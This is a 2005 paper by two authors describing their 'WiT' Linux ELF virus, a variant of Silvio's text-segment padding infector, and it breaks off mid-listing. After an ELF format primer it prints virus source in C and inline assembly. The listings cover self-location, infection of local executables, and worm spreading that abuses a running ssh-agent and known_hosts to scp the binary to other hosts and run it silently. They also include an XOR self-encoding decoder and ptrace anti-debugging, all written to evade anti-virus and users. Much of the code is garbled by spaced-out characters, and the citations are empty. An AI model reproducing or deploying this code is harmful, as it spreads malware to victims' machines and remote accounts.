The WiT virus:
A virus built on the ViT ELF virus
December 4, 2005
Nikos Mavrogiannopoulos
Tatiana Vladimirova
Contents
1
1
2
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
The text segment padding virus (or Silvio’s virus)
7
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9
10
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
11
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
14
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
15
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
16
18
18
19
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
19
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
20
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
22
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
22
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
22
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
39
ii
1
Introduction
Viruses are one of the most known aspects of computer science.
Their fame spreads to non
technical people and even to people with limited knowledge of computers. However studies on
them, when not focused on anti-virus technology can be marked as malicious, even if the intention
was different. For example documents such as [
] that describe designs of viruses in Linux
are hardly included in any Linux programming documentation.
As everything else, viruses also evolve through the years so repositories such as [
] that hold the
source code of known viruses, are always an interesting resource to browse. Nevertheless most of
the old viruses are usually obfuscated even in their original assembly code and studying them is
not fun.
But what is a virus? We can find a definition in Wikipedia:
A virus is a type of program that can replicate itself by making (possibly modified)
copies of itself. The main criterion for classifying a piece of executable code as a virus
is that it spreads itself by means of ’hosts’. A virus can only spread from one computer
to another when its host is taken to the uninfected computer, for instance by a user
sending it over a network or carrying it on a removable disk.
Although this definition covers almost all the viruses that were successfull in the previous decades,
we can clearly see that today the internet can give much more possibilities for a virus to spread.
Programs that replicate using the network are usually called worms.
In this document we will describe a virus that runs on ix86 Linux systems that support the ELF
file format. The system used for testing was GNU/Linux with kernel 2.6.11, and its compilation
was done with gcc 3.3. There is nothing Linux specific in the virus so it can be easily ported to
other operating systems that run on the same architecture.
Document organization
This document is organized in the following way. An abstract set of
rules that we used to design our virus is given in the following section, and afterwards in
an introduction to the ELF file format is given. The ELF file format is the format of executable
files under Linux and many other UNIXes, thus will be our main infection target. Subsequently in
a brief description of the infection method we selected is shown and finally in
our virus is listed and explained. In order to maintain readability of the document the full source
code of the virus and the accompanying files have been moved to
2
Rules of the game
The virus’ behavior can be summarized to the following rules:
• spread within the system;
• spread using the network;
• try to be invisible.
To extend its lifetime, the virus will not use any particular system vulnerabilities, but will depend
on the available features of the system.
1
Finding new hosts
Sun Tzu said: In the practical art of war, the best thing of all is to take the enemy’s
country whole and intact; to shatter and destroy it is not so good. So, too, it is better
to recapture an army entire than to destroy it, to capture a regiment, a detachment or
a company entire than to destroy them.
The “Spread” part involves infecting other executables but in a non destructive way, so the infected
executables can be used as infection nests too. This step will be done in a way that does not cause
a visible problem to the system, so the virus can remain alive and hidden as much time as possible.
Using the network
Sun Tzu said: Appear at points which the enemy must hasten to defend; march swiftly
to places where you are not expected.
We wouldn’t like for our virus to stick in a single system and disappear there. For this reason
we need to replicate by using the network. It is desirable to hide its traces, or mix them with
legitimate traffic.
Being invisible
Sun Tzu said: If you know the enemy and know yourself, you need not fear the result
of a hundred battles. If you know yourself but not the enemy, for every victory gained
you will also suffer a defeat. If you know neither the enemy nor yourself, you will
succumb in every battle.
In general the virus writer is in disadvantage comparing to anti-virus software writers after the
virus is discovered, since at that point he hasn’t any ability to improve it. For this reason the
virus writer has to make his virus undetectable. Knowing how the anti-virus programs work will
give an advantage to the virus writer. In general and according to [
] viruses can live longer if
they cannot be classified by the existing anti-virus mechanisms, so a simple database update to
this programs will not help.
3
The ELF file format
3.1
Introduction
The Executable and Linking Format is a binary format developed by Unix System Laboratories
and is used as the Linux standard executable file format. ELF supports multiple processors, data
encodings and classes of machines.
There are three types of ELF files:
• relocatable files hold code and data suitable for linking with other object files to create an
executable or shared object file;
• executable files hold program suitable for execution;
• shared object files hold code and data suitable for linking: it can be processed with other
relocatable and shared object files to create another object file; or combined by dynamic
linking with an executable file and other shared object files to create a process image.
2
Object files participate in program linking and program execution. The object file format provides
parallel views of the file’s contents depending on the activities this file is involved in: there are
execution view and linking view. Here we are interested in the role of the ELF object files in
program execution and we will take a closer look at the execution view.
The execution view
In ELF the program consists of an executable file and it can include
shared files. The system uses these files to create a process image in memory for executing the
program. The process image has segments that contain executable instructions. When an ELF
file is executed, the system will load in all the shared object files before transferring control to the
executable.
At the very beginning of the file there is an ELF header, it describes the organization of the file.
The ELF header is the only one having the fixed position within the file.
A program header table tells the system how to create a process image. To be loaded into memory
the ELF file needs a program header which is an array of structures that describe the segments
and provide other information needed to prepare for the program execution.
A section header table (optional) describes the file’s sections; each entry in the table contains a
name, size etc of the particular section; each section has an entry in the table. A segment consists
of sections. Each executable or shared object file contains a section table - an array of structure
describing the sections inside the ELF object file. There are several sections defined by the ELF
documentation that hold program and control information.
3.2
ELF header
The ELF header is described by the type Elf32_Ehdr (or Elf64_Ehdr):
#define EI_NIDENT 16
typedef struct {
unsigned char
e_ident[EI_NIDENT];
uint16_t
e_type;
uint16_t
e_machine;
uint32_t
e_version;
Elf32_Addr
e_entry;
Elf32_Off
e_phoff;
Elf32_Off
e_shoff;
uint32_t
e_flags;
uint16_t
e_ehsize;
uint16_t
e_phentsize;
uint16_t
e_phnum;
uint16_t
e_shentsize;
uint16_t
e_shnum;
uint16_t
e_shstrndx;
} Elf32_Ehdr;
The meaning of some of the fields is as follows:
• e_machine this member’s value specifies the required architecture for an individual file; we
consider here only Intel Architectures to which the value 3 is assigned and the machine name
is EM_386
3
• e_entry which gives the virtual address to which the system first transfers control, thus
starting process. If the file has no associated entry point this member holds zero
• e_phentsize specifies the size of one entries, all the entries have identical size;
• e_phnum specifies the number of entries in the table.
the other entries hold the headers tables files’ offsets, number of entries, sizes and flags
Figure 1: The ELF file format
3.3
Running the program
Here we describe the object file information and system actions that create running programs.
Executable and shared object files statically represent programs. To execute such programs the
system uses the files to create dynamic program representation, process images. A process image
has segments that hold its text, data, stack and so on.
Program header
The program header table locates segment images within the file and contains
other information necessary to create the memory image for the program. An executable or shared
object file’s program header is an array of structures describing a segment or other information the
system needs to prepare the program for execution. An object file segment contains one or more
sections. The ELF header of the file specifies the size of the program header. Given an object file,
the system must load it into memory for the program to run. After the system loads the program,
it must complete the process image by resolving symbolic references among the object files that
compose the process.
program header:
typedef struct {
Elf32_Word
p_type;
Elf32_Off
p_offset;
Elf32_Addr
p_vaddr;
Elf32_Addr
p_paddr;
Elf32_Word
p_filesz;
Elf32_Word
p_memsz;
Elf32_Word
p_flags;
Elf32_Word
p_align;
} Elf32_Phdr;
4
Where the fields meaning
• p_type describes the type of the segment;the segment types can have the following values:
– 0 or PT_NULL the array element is not used, this type lets have ignored entries in the
program header table;
– 1 or PT_LOAD
• p_offset offset from the beginning of the file at which the first byte of the segment is;
• p_vaddr virtual address of the first byte of the segment;
• p_paddr physical address of the first byte of the segment;
• p_filesz number of bytes n the file image of the segment;
• p_memsz number of bytes n the memory image of the segment;
• p_flags flags relevant to the segment;
• p_align value to which segments are aligned in memory and in the file, the value is congruent
p_vaddr and p_offest modulo page size;
All program header segment types are optional, i.e. a program header contain only elements
relevant to the file’s contents.
Base address
The program headers virtual addresses do not necessarily represent the actual
virtual addresses of the program’s memory usage. Executable files typically contain absolute code.
On one hand the segments must reside at the virtual addresses used to build the executable file to
let the process execute correctly. On the other hand the segments contain position-independent
code.
This allows the segment’s virtual address to change from one process to another without invali-
dating the execution behavior. The system chooses the virtual addresses for individual processes
and maintains the segments relative positions.
The difference between virtual addressing in the memory must match the difference between vir-
tual addresses in the file because the position-independent code uses relative addressing between
segments. This difference is a single constant value for any shared object or an executable in
a process, it is called base address. It is calculated from the virtual memory load address, the
maximum page size and the lowest virtual address of a program’s loadable segment.
Segment permissions and segment contents
For the program to be loaded by the system
it must contain at least one loadable segment. The system creates loadable segments’ memory
images and gives access permissions as specified in the p_flags entry of the program header. The
segment has a write permission only if it is explicitly specified. For example, data segment will
have read, write and execute permission while the text segment will have no write permission.
The object file segment consists of one or more sections. The order and membership of sections
may vary it can be processor specific. The text segment contain read-only instructions and data
and typically have the following sections:
5
text segment
• .text This section holds the ”text”, or executable instructions of a program.
• .rodata and .rodata1 These sections hold read-only data that typically contribute to a
non-writable segment in the process image.
• .hash This section holds a symbol hash table.
• .dynstr This section holds strings needed for dynamic linking, most commonly the strings
that represent the names associated with symbol table entries.
• .dynsym This section holds the dynamic linking symbol table.
• .plt This section holds the procedure linkage table.
• .rel.got This section holds relocation information for .got.
data segment
• .data and .data1 These sections hold initialized data that contribute to the programs
memory image.
• .dynamic This section holds dynamic linking information.
• .got This section holds the global offset table.
• .bss This section holds uninitialized data that contribute to the programs memory image.
By definition, the system initializes the data with zeros when the program begins to run.
The section occupies no file space.
Dynamic linking
The linker links all the object files together with the start up codes and
library functions. These libraries can be of two kinds: static and shared. The static library is the
collection of object files containing routines. The link editor will incorporate copy only of those
object files that hold the functions mentioned in the program. The shared library is a shared
object file containing functions and data. The link editor will only store in the executable the
name of the shared library and some information about the symbols.
In ELF the executable files participating in dynamic linking has PT_INTERP program header el-
ement (program interpreter). The dynamic linking is the process that consists of the following
activities: the program interpreter maps the shared library into the virtual address space of the
process image of the executable and resolve by name the symbols in the shared library used by
the executable.
The section .dynamic holds the addresses of dynamic linking information.
Initialization and termination
After the dynamic linker has built the process image and
performed the relocations, each shared object can execute initialization code. These initialization
functions are called in unspecified order, but the following is obeyed:
• before initialization code for any object is called, the initialization code for any other objects
the latter depends on are called. For this purpose each dynamic structure has the entry
DT_NEEDED
• all shared object initializations happen before the executable file gains control.
6
The order in which the dynamic linker calls termination functions is also unspecified.
Shared objects designate their initialization and termination functions through the DT_INIT and
DT_FINI entries (both optional as for executables as well as for shared objects)in the dynamic
structure. Typically, the code for these functions resides in the .init and .fini sections:
• .init section holds executable instructions that contribute to the process initialization code,
when a program starts to run the system arranges to execute the code in this section before
the main program entry point (called main in C)
• .fini section holds executable instructions that contribute to the process termination code,
when a program exits normally, the system arranges to execute the code in this sections.
The .fini and .init sections have a special purpose. If a function is placed in the .init section,
the system will execute it before the main function. The functions placed in the .fini section
will be executed by the system after main function returns.
4
The text segment padding virus (or Silvio’s virus)
4.1
The idea
A rough idea of this virus is to insert the virus code within a segment and update the e entry field
of the ELF header to point to the virtual address of the code. The code is inserted in a segment
so that the virus code will be loaded concurrently with the main program in memory. This can
be shown schematically in
Figure 2: The idea of the text segment virus
An easy way to do this is to go to the .text segment and append the virus code at its end. This
has the advantage that the virus will be located in a segment that holds the executable sections
of the program, thus raise little or no suspicions. Also appending it to the end will not affect the
absolute addressing within the .text segment. Of course after locating the segment one has to
update the p filesz and p memsz to account for the inserted bytes of code.
Consequently the segments that are located after the .text segment have been relocated in the
file, so the corresponding program headers have to be updated too. This would be an increase by
the virus’ size in the p offset of the segment. Also since the ELF sections are usually located
7
after the segments of the file, both the e shoff in the ELF headers and the sh offset in the
section header table have to be increased by the size of the virus.
However this approach has a drawback. By inserting data on the end of the .text segment we
may break host code that absolutely references positions in memory. There is a catch though.
As we saw in the previous section the ELF executables have the property of having the same
structure in memory and in file. That is once a file is loaded the same structure exists in memory.
Except for one, important for us, difference. In
we can see that the contents of the
segments may have a different size in memory and in file. That occurs in order to facilitate easy
loading from file to memory, and thus an alignment is done at 4096
byte boundaries as shown in
. This might give us some padding bytes to put our code in the last page of a segment.
(a)
(b)
Figure 3: The ELF file before (a) and after (b) being loaded in memory
Unfortunately the padding bytes will be less than 4096 thus our virus has to occupy less than
this, and at most the half of it, if we want it to be effective and infect as much as possible. This
method has the advantage that requires no relocation of absolutely referenced positions of code in
the executable.
Segment alignment.
A problem that arises is due to the fact that the virtual address of a
segment must be congruent with its offset modulo the ELF page size. That means that after we
insert our code at the end of the first segment there will be problems in the other segments. For
that reason we must insert our code padded such that it occupies precisely 4096 bytes in the file.
This action will not affect the other segment’s alignment since their position in the file will now
be relocated by the ELF page size and we know that
pos + ELF P AGE SIZE ≡ pos
(mod ELF P AGE SIZE)
1
ELF page size.
8
Unused data.
Another concern is that the code we appended to the segment are not accounted
by any section. This is not that bad since the code perfectly works, but if somebody runs the
strip program our code and our host will be in trouble. The problem is that the strip program
checks all sections and removes all the bytes that are not referenced by any section. This has
legitimate uses such as removing unused stuff from an executable but in our case does not look
that good since our code will be deleted from the file. This will cause a permanent destruction to
our host, thus dramatically increases the probabilities for us to be noticed. For that reason it is a
good idea to find the section that references the last bytes in the .text segment and increase its
size by the ELF page size.
4.2
The infector algorithm
Now we will describe the final form of the ViT virus’ infector as described in [
]. The full algorithm
is shown in the following list.
• Check if there is enough space for the virus to fit in. That is check if the difference of p memsz
and p filesz in .text segment’s headers is greater than our code size.
• Increase p shoff by ELF PAGE SIZE in the ELF header.
• Patch the virus’ code with the host’s original entry address.
• Locate the text segment program header.
– Modify the entry point of the ELF header to point to the our code. That would be
p vaddr + p filesz, that is the virtual address of the text segment plus its original size.
– Increase p filesz to account for the virus’ code.
– Increase p memsz to account for the virus’ code.
• For each program header of segments that are after the text segment increase the p offset
by ELF PAGE SIZE.
• For each section header of sections that are located after the text segment increase the
sh offset by ELF PAGE SIZE.
• Insert the virus’ code padded to ELF PAGE SIZE in the end of the text segment. That
would be the position found by p offset + p filesz (the original size).
4.3
The ViT virus
The virus ViT as described in [
] is 2 kilobyte virus that implements the above infection method.
The virus can patch itself with the host address on infection but some hand tuning is required to
determine the relative patch point
. The virus itself tries to spread by checking the local directory
for ELF executable files and will stop after a number of files have been infected, or a hard coded
number of files have been scanned.
After the victim executable has been selected the virus copies the victim to a temporary file,
inserts itself by copying its code the host executable and overwrites the victim by the temporary
file. The temporary file used is named .vi434.tmp, hence its name ViT. The host executable is
found by checking argv[0] that contains the user typed command.
A nice side effect of the virus design is that the virus does not need to check whether the file to
be checked is already infected. This is a nice property and is due to the fact that the padding size
2
That is detect using objdump where the value of a the volatile integer, that holds the host address, is stored
calculate the difference from the start of the virus and then put the value found in the virus and recompile.
9
in the text segment will decrease by the size of the virus so a second infection is improbable, and
impossible if the size of the virus is more than 2048 bytes.
5
Our virus
We tried to create a quite easily modified virus written in self contained C and inline i386 assembly.
We did no effort to improve the generated assembly code, and this resulted in a virus of about 1630
bytes when local system infection is possible and 3000 bytes when worm abilities are included.
It’s not a very large virus, but for the selected infection method, which poses a limit, of 4096
bytes on the available space we could use on the executable, it can be considered big. This means
that on average with full capabilities enabled we will be able to infect only 30% of the available
executables. Our design goals were:
• write only in self-contained C with inline assembly when needed;
• write code that generates as compact assembly code as possible;
• spread as much as possible in the system;
• find a way to spread across other systems;
• try not to cause problems to the hosts;
• make debugging of the virus difficult;
• try not to be detected by anti-virus software
We also used some assumptions for the compiler such as that the object file should contain the
functions of the source code in the same order as in the source file. This was the case for the GNU
C compiler but other compilers such as the Intel C compiler behave differently.
We will now discuss some of the important parts of our virus plus the differences from the vanilla
ViT virus.
5.1
Find ourselves
A virus in order to spread needs to copy itself in the host file. This is not an easy job to do it
especially when writting in plain C code. In Silvio’s virus the approach was to open the host file
and seek to the parasite code. But it is not really easy to find the host file. Silvio used argv[0],
which does not always include the full path. We used a different approach based on the fact that
the virtual address of the memory mapped host file is always the same, and in a typical Linux
system is the memory address 0x08048000.
1
# d e f i n e E L F _ M E M _ S T A R T 0 x 0 8 0 4 8 0 0 0
2
3
int m a i n () {
4
...
5
6
/* h _ s e e k _ p o s is o u r p o s i t i o n in t h e e x e c u t a b l e
7
*/
8
b a s e _ m e m = E L F _ M E M _ S T A R T + h _ s e e k _ p o s ;
9
_ _ b u i l t i n _ m e m c p y ( v , ( c h a r *) b a s e _ m e m , v l e n );
3
This was easy since this kind of software uses patterns to identify viruses, so since we are new in the area we
were not detected. We tried also to minimize our patterns by encoding our body, and decoding it on execution
time.
10
10
11
/* a n d n o w v h o l d s o u r i n s t r u c t i o n s .
12
*/
13
...
14
}
So in order to find our code we seek to the memory address of the our executable host and then
move to our position within it. Our position is updated by patching on every new infection.
This is risky though. We don’t know if every program begins at this predefined position
. If
UNSURE ABOUT LD POINTER is defined at compile time a second, improved version
, is used. In this
version we check /proc/self/maps to get the address of the memory mapped file. This makes
the virus a bit more portable to exotic ELF executables.
1
# d e f i n e B A S E 16
2
s t a t i c int f i n d _ e l f _ m e m _ s t a r t ( c o n s t c h a r * p r o c _ n a m e )
3
{
4
c h a r buf [ R E A D _ B U F _ S I Z E ];
5
u n s i g n e d l o n g int v = 0;
6
c h a r * n p t r = buf ;
7
8
if ( o p e n _ a n d _ r e a d _ f i l e ( p r o c _ n a m e , buf ) < 0)
9
r e t u r n
-1;
10
11
w h i l e (* n p t r ) {
12
r e g i s t e r u n s i g n e d c h a r c = * n p t r ;
13
c = ( c >= ’ a ’ ? c - ’ a ’ + 10 : c >= ’ A ’ ? c - ’ A ’ + 10 : c <=
14
’ 9 ’ ? c - ’ 0 ’ : 0 xff );
15
if ( c >= B A S E )
16
b r e a k ;
/* o u t of b a s e */
17
{
18
r e g i s t e r u n s i g n e d l o n g x = ( v & 0 xff ) * B A S E + c ;
19
r e g i s t e r u n s i g n e d l o n g w = ( v > > 8) * B A S E + ( x > > 8);
20
if ( w > ( U L O N G _ M A X > > 8))
21
r e t u r n
-1;
22
v = ( w < < 8) + ( x & 0 xff );
23
}
24
++ n p t r ;
25
}
26
r e t u r n v ;
27
28
}
29
30
int m a i n () {
31
...
32
b a s e _ m e m = f i n d _ e l f _ m e m _ s t a r t ( U _ S P R E A D _ P R O C ( bin ));
33
34
if ( b a s e _ m e m ==
-1)
35
b a s e _ m e m = E L F _ M E M _ S T A R T + h _ s e e k _ p o s ;
36
e l s e
37
b a s e _ m e m += h _ s e e k _ p o s ;
38
_ _ b u i l t i n _ m e m c p y ( v , ( c h a r *) b a s e _ m e m , v l e n );
39
...
40
}
5.2
Spreading across executables
The virus infects local executables if LOCAL SPREAD is defined in the code. Then the main body
of the virus checks for ELF executable files the system directories, if the user running the host is
4
It seemed though that this assumption was correct for all executables we tested.
5
Although disabled by default in our virus.
11
the superuser, or the local directory otherwise. Some randomized directory traversing is included
so the virus may check subdirectories too. As in the ViT virus there are some hard limits in the
number of files that will be checked or infected. The number of files depends on our size since the
larger our virus the more difficult to find a file with large enough padding space to infect.
Our infection function is just a simplified version of Silvio’s infect elf() function. It includes
some improvements in order to make the output instructions more compact. For example instead
of multiple calls to open(), read() and write() we used the system call mmap. That way about
half a kilobyte was saved. The code of the infect elf() function can be found at
5.3
Spreading across systems
No matter the privileges we have in the host system, we cannot easily transfer ourselves to other
systems. In case we are running in a desktop system though, we can find an easy way to spread.
The ssh program is a popular application in Linux and other UNIX systems. It is a secure
communications program that can be used for remote shell access, execute commands and copy
files to and from different hosts.
In most desktop systems it is also common to have the ssh-agent running. This agent is supposed
to keep decrypted all the SSH private keys of the user, so he will not be asked for a password every
time he uses them. That way everybody on the desktop system with sufficient privileges can
connect to any host the user has access to. This is a nice feature and we will make use of it.
Testing for ssh-agent:
But how one can check whether the agent is running? The easiest way
seems to be to check for the environment variable called SSH AGENT PID. This variable is set if the
user has an agent running in the system and contains the process id of the agent. That is very
easy to check in standard C using the getenv() call. But as a virus we cannot access libc. So we
have to reimplement getenv().
So firstly let’s find our environment. It is supposed to be in the stack.
1
int m a i n () {
2
...
3
/* T r y to f i n d o u r e n v i r o n m e n t */
4
/* m o v e % e b p to a r g v */
5
asm ( " m o v l %% ebp , %0 " : " = r " ( a r g v ): /* n u l l */ : " % ebp " );
6
7
a r g v += V A R S _ P U S H E D + 2;
8
e n v i r o n = a r g v ;
9
10
/* s k i p t h e a r g v [] a r g u m e n t s a n d m o v e to e n v i r o n m e n t */
11
w h i l e (* e n v i r o n != 0)
12
e n v i r o n ++;
13
e n v i r o n ++;
14
...
15
}
So by having the environment it is now easy to reimplement
getenv().
1
s t a t i c c h a r * l o c a l _ g e t e n v ( c h a r ** environ , c h a r * s , int len )
2
{
3
int i ;
4
5
for ( i = 0; e n v i r o n [ i ]; ++ i )
6
if (( _ _ b u i l t i n _ m e m c m p ( e n v i r o n [ i ] , s , len ) == 0)
7
&& ( e n v i r o n [ i ][ len ] == ’ = ’ ))
6
Code from dietlibc was used for that reason.
12
8
r e t u r n e n v i r o n [ i ] + len + 1;
9
r e t u r n 0;
10
}
Finding the hosts:
So after having checked that the agent is indeed running, we need to find
which hosts the user has access to, in order to replicate there as well. To achieve that, we read the
entries from the .ssh/known hosts file. This file is located in the user’s home directory, which
can be found usually using the HOME environment variable.
Spreading method:
We will try to copy our executable to the victim host, and then try to run
it. For that reason we will need the ssh and scp executables; these are almost always available
under /usr/bin.
Finding our filename:
In order to copy our executable we need to know the absolute value
of our file name. As we discussed before argv[0] might not give sufficient information. So we
will use again the /proc/self/maps. This has the risk of relying on the existence of the /proc
filesystem, but this is quite common in desktop systems. The code we used is listed below.
1
/* r e t u r n s 0 on s u c c e s s a n d
-1 on e r r o r ;
2
* r e a d s / p r o c / s e l f / m a p s a n d f i n d s o u r f i l e n a m e
3
*/
4
s t a t i c int f i n d _ f n a m e ( c o n s t c h a r * p r o c _ n a m e , c h a r * f n a m e )
5
{
6
c h a r buf [ R E A D _ B U F _ S I Z E ];
7
int i = 0 , j = 0;
8
int size , s t a r t = 0;
9
10
o p e n _ a n d _ r e a d _ f i l e ( p r o c _ n a m e , buf );
11
12
/* go f o r t h e f i r s t n e w l i n e */
13
for ( i = 0; i < s i z e ; i ++) {
14
if ( s t a r t != 0) {
15
if ( buf [ i ] == ’ \ n ’ ) {
16
f n a m e [ j ] = 0;
17
r e t u r n 0;
18
}
19
f n a m e [ j ++] = buf [ i ];
20
} e l s e if ( buf [ i ] == ’ / ’ ) {
21
s t a r t = 1;
/* f o u n d it ! */
22
f n a m e [ j ++] = buf [ i ];
23
}
24
}
25
26
r e t u r n
-1;
27
}
Executing ssh:
In our code that executes ssh, we tried to completely silence it so the user
doesn’t get any error messages or pop up windows asking for a password. So we had to replace the
descriptors for STDIN, STDOUT, STDERR with /dev/null, and then call setsid() to make it forget
about the controlling terminal. We also needed to set the environment variable $SSH ASKPASS to
/dev/null so the user is not prompted for any password
. The input commands are something
like:
$ scp /path/to/us host.koko.org:./c.out
$ ssh host.koko.org "./c.out;rm c.out"
7
When a terminal wasn’t found ssh decided to run the graphical ssh-askpass which was undesirable.
13
The full code can be found in function do something nasty() in
5.4
Encoding ourself
To prevent an easy detection by bare eye of our virus we wanted to protect its instructions. Thus
we splitted the virus to a decoder and to the main body. For the decoder part of our virus we used
a lot of assembly code to make the locating and decoding of the main body easier. The decoder
does XOR the main body of our virus with a random value that changes across hosts. To achieve
that it allocates memory in the heap
, copies the main body there and then decodes it. After the
decoding is finished it jumps at the heap to execute the main body of the virus. The code of the
decoder is listed below.
1
/* we s t a r t h e r e by s a v i n g o u r r e g i s t e r s ( so w h e n we
2
* j u m p b a c k to h o s t e v e r y t h i n g l o o k s n o r m a l ).
3
* to be r e s t o r e d l a t e r on . T h e n we j u m p at m a i n .
4
*/
5
# d e f i n e V A R S _ P U S H E D 9
/* h o w m a n y v a r i a b l e s we p u s h h e r e */
6
/* m a i n 0 is o u r s t a r t i n g p o i n t */
7
asm ( " m a i n 0 :\ n "
8
" p u s h l % esp \ n "
9
" p u s h l % ebp \ n "
10
" m o v l % esp , % ebp \ n "
11
" p u s h l % edi \ n "
12
" p u s h l % esi \ n "
13
" p u s h l % eax \ n "
14
" p u s h l % ebx \ n "
15
" p u s h l % ecx \ n "
16
" p u s h l % edx \ n "
17
" p u s h l $ " M A G I C " \ n "
18
/* o u r d e c o d e r */
19
# i f d e f E N C R Y P T
20
/* r e s e r v e s o m e m e m o r y */
21
22
/* a l l o c a t e s o m e m e m o r y , u s i n g b r k () a n d p u t
23
* t h e o u t p u t to % e c x . We c r e a t e a leak , b u t it is
24
* m o r e e f f i c i e n t t h a n u s i n g t h e stack , a n d m o r e p o r t a b l e t o o .
25
* we a l s o w o r k on non - e x e c u t a b l e - s t a c k s y s t e m s . */
26
" x o r l % ebx , % ebx \ n "
27
" m o v l $45 , % edx \ n "
28
" m o v l % edx , % eax \ n "
29
" int $ 0 x 8 0 \ n " /* % e a x = b r k ( 0 ) */
30
" m o v l % eax , % ecx \ n "
31
" l e a l " A L L O C _ S T R " (% ecx ) , % ebx \ n "
32
" m o v l % edx , % eax \ n "
33
" int $ 0 x 8 0 \ n " /* x = b r k ( x + 4 0 9 6 ) */
34
/* % e c x n o w h o l d s o u r h e a p d a t a
35
*/
36
37
/* f i n d w h e r e t h e e n c o d e d d a t a a r e
38
*/
39
" jmp w h e r e _ a r e _ e n c _ d a t a \ n "
40
" h e r e _ w e _ a r e :\ n "
41
" pop % ebx \ n "
42
43
" x o r l % edx , % edx \ n " /* e d x = 0 */
44
" . m y L 6 :\ n "
45
46
/* x o r m e m o r y f r o m % e c x f o r 3 6 0 0 b y t e s w i t h
47
* t h e c o n s t a n t 0 x 5 f 5 f 5 f 5 f . T h i s w i l l be p a t c h e d
48
* a c r o s s
i n f e c t i o n s .
49
* % e b x : e n c o d e d d a t a a d d r e s s
50
* % e c x : o u r h e a p s p a c e
8
Thus it also works in systems with the non-executable stack patches applied.
14
51
*/
52
" m o v l (% ebx ,% edx ,4) , % eax \ n "
53
" x o r l $ 0 x 5 f 5 f 5 f 5 f , % eax \ n "
54
" m o v l % eax , (% ecx ,% edx , 4 ) \ n "
55
" i n c l % edx \ n "
56
" c m p l $900 , % edx \ n " /* W A R N I N G : t h i s ( * 4 ) m u s t be o u r m a x i m u m s i z e */
57
58
" jle . m y L 6 \ n "
59
" jmp *% ecx \ n "
60
61
" w h e r e _ a r e _ e n c _ d a t a :\ n "
62
" c a l l h e r e _ w e _ a r e \ n "
63
/* a f t e r t h i s p o i n t
e v e r y t h i n g is e n c o d e d .
64
*/
65
# e n d i f
66
" jmp m a i n \ n " );
Some changes were also needed in the infect elf() virus. Before we copy our code to the new
host, we firstly decode ourselves, then we do all the required patches, and encode again with a
new key.
1
v o i d m e m x o r ( int * mem , int c , int s i z e )
2
{
3
int i ;
4
for ( i = 0; i < s i z e / s i z e o f ( int ); i ++)
5
mem [ i ] ^= c ;
6
if (( i * s i z e o f ( int )) < s i z e ) mem [ i ] ^= c ;
7
}
8
9
int i n f e c t _ e l f ( . . . )
10
{
11
...
12
# i f d e f E N C R Y P T
13
/* d e c o d e
e v e r y t h i n g */
14
m e m x o r (( int *)& v [ D _ S I Z E ] , *(( int *)& v [ D _ X O R _ I N D E X ]) , v l e n - D _ S I Z E );
15
# e n d i f
16
17
/* p a t c h t h e o f f s e t */
18
*( l o n g *) & v [ v h o f f ] = j u m p _ o f f s e t ;
19
/* t h e c o r r e c t re - e n t r y p o i n t */
20
*( int *) & v [ v h e n t r y ] = h o s t _ e n t r y ;
21
22
# i f d e f E N C R Y P T
23
/* n o w e n c o d e
e v e r y t h i n g w i t h a n e w k e y */
24
m e m x o r (( int *)& v [ D _ S I Z E ] , ( * ( ( int *)& v [ D _ X O R _ I N D E X ])) * rnval , v l e n - D _ S I Z E );
25
26
*( int *)& v [ D _ X O R _ I N D E X ] *= r n v a l ;
27
# e n d i f
28
_ _ b u i l t i n _ m e m c p y ( & n e w _ f i l e _ p t r [ o f f s e t ] , v , E L F _ P A G E _ S I Z E );
29
...
30
}
5.5
Preventing debugging
Sometimes it is desirable to prevent someone from noticing our virus when debugging an infected
program. The tricks we used are described in [
Initially we wanted to prevent somebody from noticing the virus by using tools as gdb and strace.
For that reason we used the property of the system call ptrace() that only one process may trace
another. So we fork and try to trace our parent and if we succeed then nobody is watching us.
Otherwise somebody is tracing us, and we need to notify our parent. This is done by the exit code
of the child. However a carefull debugger may notice a suspicious fork in the process.
15
1
/* R e t u r n s 0 if we a r e a r e c l e a r to go a n d n o b o d y
2
* w a t c h e s .
3
*
4
* A c t u a l l y we f o r k a n d c h e c k if we c a n t r a c e o u r p a r e n t .
5
* If we c a n n o t t r a c e h i m t h e n he is b e i n g t r a c e d by s o m e b o d y
6
* e l s e ! O t h e r w i s e we d e t a c h f r o m h i m a n d e x i t .
7
*
8
* It is q u i t e
s u s p i c i o u s f o r s o m e b o d y to s e e a r a n d o m p r o c e s s to
9
* fork , b u t it s e e m s to be t h e b e s t we c a n do .
10
*
11
* T h e i d e a w a s t a k e n f r o m a w o r m w r i t t e n by M i c h a e l
Z a l e w s k i .
12
*/
13
i n l i n e s t a t i c int c h e c k _ f o r _ d e b u g g e r ( v o i d )
14
{
15
p i d _ t pid ;
16
int s t a t u s ;
17
18
pid = f o r k ();
19
20
if ( pid = = 0 ) { /* c h i l d */
21
p i d _ t p a r e n t ;
22
23
p a r e n t = g e t p p i d ();
24
if ( p t r a c e ( P T R A C E _ A T T A C H , parent , 0 , 0) < 0) {
25
/* n o t i f y o u r p a r e n t */
26
_ e x i t ( 1 ) ;
27
}
28
p t r a c e ( P T R A C E _ D E T A C H , parent , 0 , 0);
29
